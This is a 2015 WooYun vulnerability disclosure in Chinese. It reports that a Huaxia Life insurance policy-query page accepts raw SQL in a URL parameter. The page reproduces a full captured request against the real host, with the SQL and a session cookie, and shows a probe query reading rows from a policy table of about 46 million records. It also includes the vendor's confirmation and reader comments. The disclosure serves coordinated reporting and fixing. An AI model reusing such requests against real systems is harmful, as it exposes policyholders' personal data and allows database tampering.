当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117984

漏洞标题:看我如何在前台任意操作华夏人寿保险某系统数据库

相关厂商:华夏人寿保险

漏洞作者: 茜茜公主

提交时间:2015-06-03 15:40

修复时间:2015-07-20 17:56

公开时间:2015-07-20 17:56

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-03: 细节已通知厂商并且等待厂商处理中
2015-06-05: 厂商已经确认,细节仅向厂商公开
2015-06-15: 细节向核心白帽子及相关领域专家公开
2015-06-25: 细节向普通白帽子公开
2015-07-05: 细节向实习白帽子公开
2015-07-20: 细节向公众公开

简要描述:

第一次遇到这种情况

详细说明:

华夏人寿保单查询系统
直接上问题链接

http://gdxt.hxlife.com/ui/sys/OuterNetworkQueryInput.jsp


QQ截图20150603150314.jpg


任意输入个保单号,然后查询时,抓包

QQ截图20150603150412.jpg


GET http://gdxt.hxlife.com/ui/common/easyQueryVer3/EasyQueryXML.jsp?strSql=select%20ManageComName,%20%20%20%20%20%20%20%20contno,%20%20%20%20%20%20%20%20appntname,%20%20%20%20%20%20%20%20to_char(cvalidate,'yyyy-MM-dd'),%20%20%20%20%20%20%20to_char(cvalidate,'yyyy-MM-dd')%20||%20'    '%20||%20to_char(cinvalidate,'yyyy-MM-dd'),%20%20%20%20%20%20%20%20Peoples2,%20%20%20%20%20%20%20%20PayIntv,%20%20%20%20%20%20%20%20riskname,%20%20%20%20%20%20%20%20Prem,%20%20%20%20%20%20%20%20amnt%20%20%20from%20qlccont%20%20where%20'1433315041000'%3D'1433315041000'%20and%20%20DataSrc%20%3D%20'LIS'%20%20%20%20and%20standbyflag1%20%3D%20'0'%20%20%20%20and%20state%20%3D%20'1'%20and%20contno%3D'wooyun'&strStart=1&LargeFlag=0 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://gdxt.hxlife.com/ui/sys/OuterNetworkQueryInput.jsp
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: gdxt.hxlife.com
Connection: Keep-Alive
Cookie: JSESSIONID=rQn6Vn2TSLL7Z7mlnpmG1bxQqtddTyT7RVTQHNwVB8kRQwvnpnX1!516164096


没错,你没有看错,直接把sql代入参数strSql

漏洞证明:

所以我们可以这样

QQ截图20150603142051.jpg


数据量:45995958
查询前10行一探究竟

select * from qlccont where rownum<11


QQ截图20150603151034.jpg


一张表就这样了,数据库整体的数据量非常可观

QQ截图20150603142859.jpg


QQ截图20150603143221.jpg


QQ截图20150603143344.jpg


QQ截图20150603152821.jpg


何况还可以增删改

修复方案:

参数不能这样传

版权声明:转载请注明来源 茜茜公主@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-05 17:55

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向保险行业信息化主管部门通报,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-03 15:40 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    漂亮啊!

  2. 2015-06-03 16:30 | 牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:84 | [code]心若没有栖息的地方,走到哪里都是在...)

  3. 2015-06-03 16:42 | 中国日报网(乌云厂商)

    前排~

  4. 2015-06-03 17:37 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    @中国日报网 哈哈,你也成了白帽子了。

  5. 2015-07-20 18:18 | Security ( 路人 | Rank:25 漏洞数:9 )

    一抓一个准